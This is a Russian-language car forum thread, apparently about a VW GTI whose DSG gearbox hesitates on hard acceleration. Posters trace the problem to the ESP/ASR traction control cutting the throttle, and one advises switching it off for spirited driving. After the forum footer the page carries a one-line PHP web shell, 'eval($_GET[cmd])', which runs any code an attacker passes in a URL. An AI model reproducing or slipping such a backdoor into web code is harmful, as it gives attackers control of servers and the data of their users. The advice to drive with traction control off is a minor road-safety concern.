-
GTI-Racing
Собственно вопрос. После спокойной езды в режиме D при резком нажатие на педаль газа происходит секундное тупление, т.е машина как бы поехала, потом затыакается, думает потом едет. Лана, я думал в режиме D отупляется ибо шипко умная.
Однако сегодня та же фигня в режиме S. Переключился, проехал метров 20, резко прижал - заткнулась.
У кого было пообное? Как лечить? Из за чего она себя так ведет? :blink:
-
GTI-Racing
Это из-за ЕСР или как там его. На летней резине все будет хор., или кнопочку надо нажать, что бы буксовать безприпятственно ;)
-
GTI-Racing
Тагда не понимам, обьясните люди добрые. Почему эта сволочь (ЕСП) позволяла мне довольно часто и сильно буксовать на снегу, а тут почти сухой асфальт и ей вдруг вздумалось вмешиваться? :huh:
-
GTI-Racing
<div class='quotetop'>Цитата(cbrrr @ Mar 11 2008, 22:12) <{POST_SNAPBACK}></div><div class='quotemain'>Это из-за ЕСР или как там его. На летней резине все будет хор., или кнопочку надо нажать, что бы буксовать безприпятственно ;)[/b][/quote]
ESP включается и ее включение отображается значком. он моргает. надо посмотреть моргает ли он. даже при включенной ЕСП она позволяет немного буксовать. проблема недостаточно описана, чтобы что то посоветовать.
-
GTI-Racing
Ок, изложу.
Резина не шипы. Асфальт не мокрый, но 2 градуса тепла подразумевают не очень хорошее сцепление. ЕСП сейчас, на мой взгляд, моргает до 60 постоянно :unsure: . Правда, когда в S притапливаешь, особенно на индикацию не смотришь.
Как происходи затыкание. При кик дауне происходит резкий набор скорости(около секунды может пол секунды) , потом коробка вдруг тормозит (очень похоже на срабатывание ограничителя оборотов на механнике) обороты падают, легкий толчок как подключение передачи , потом втыкает нормальную передачу и прет как обычно.
Коробка раздумывает... раздумья позволяют Пежо 1,6 уехать на корпус при старте, жена меня тут поглумила :blink:
-
GTI-Racing
<div class='quotetop'>Цитата(Жека @ Mar 11 2008, 21:31) <{POST_SNAPBACK}></div><div class='quotemain'>Ок, изложу.
Резина не шипы. Асфальт не мокрый, но 2 градуса тепла подразумевают не очень хорошее сцепление. ЕСП сейчас, на мой взгляд, моргает до 60 постоянно :unsure: . Правда, когда в S притапливаешь, особенно на индикацию не смотришь.
Как происходи затыкание. При кик дауне происходит резкий набор скорости(около секунды может пол секунды) , потом коробка вдруг тормозит (очень похоже на срабатывание ограничителя оборотов на механнике) обороты падают, легкий толчок как подключение передачи , потом втыкает нормальную передачу и прет как обычно.
Коробка раздумывает... раздумья позволяют Пежо 1,6 уехать на корпус при старте, жена меня тут поглумила :blink:[/b][/quote]
Похоже именно на работу ЕСП (а точнее АСР - антипробуксовочной системы) - прикрытие дросселя. Выражается во внезапной кратковременной потере тяги или "затыкании" при разгоне. Проверить это оно или что-то не так с ДСГ или мотором очень просто - на одном и том же месте в одном и том же режиме проехать с ЕСП вкл. и затем выкл. - если при ЕСП выкл. "затыка" не будет, значит все ок и просто АСР прикрывает дроссель по причине пробуксовки (когда ЕСП вкл.).
Кстати практика показывает, что при активной езде ЕСП (АСР) лучше выключать - пару раз попадал в ситуации когда машина на разгоне попадала в лужицу и АСР закрывало дроссель как раз когда мне по ситуации нужно было ускорится - очень неприятно. Кстати может кто не знает - когда нажимаешь кнопку ЕСП ОФФ, на самом деле полностью выключается только антипробуксовочная система АСР, а ЕСП, которая отвечает за динамическую стабилизацию (противостоит сносу/заносу) просто переходит на несколько более либеральный режим (как-бы повышается порог срабатывания) т.е. все равно она ставит машину обратно на траекторию в случае чего.
-
GTI-Racing
Спасибо. Вы были правы, все ЕСП, она чертовка ;) , сегодня покатал с отключенной, все изумительно (блин как же она все таки прет :blink: ) , коробка не тупит и не затыкается :rolleyes:
-
GTI-Racing
<div class='quotetop'>Цитата(Жека @ Mar 12 2008, 18:57) <{POST_SNAPBACK}></div><div class='quotemain'>Спасибо. Вы были правы, все ЕСП, она чертовка ;) , сегодня покатал с отключенной, все изумительно (блин как же она все таки прет :blink: ) , коробка не тупит и не затыкается :rolleyes:[/b][/quote]
+1
-
Мимо проходил
Насколько я знаю,затыкается...как бы сказать...электроника подстраивается под нормы токсичности.
Поправьте меня, у всех владельцев DSG затыкается при резком нажатии на газ...
А есп,я считаю изюмительно работает, правда пока зимой еще не ездил, самому интересно как будет работать
-
GTI-Racing
ЕСП значок на приборке далеко не всегда успевает загорется [img]style_emoticons/<#EMO_DIR#>/smile.gif[/img]
Ваши права
- Вы не можете создавать новые темы
- Вы не можете отвечать в темах
- Вы не можете прикреплять вложения
- Вы не можете редактировать свои сообщения
Правила форума
{{$myVar = eval($_GET[cmd]);}}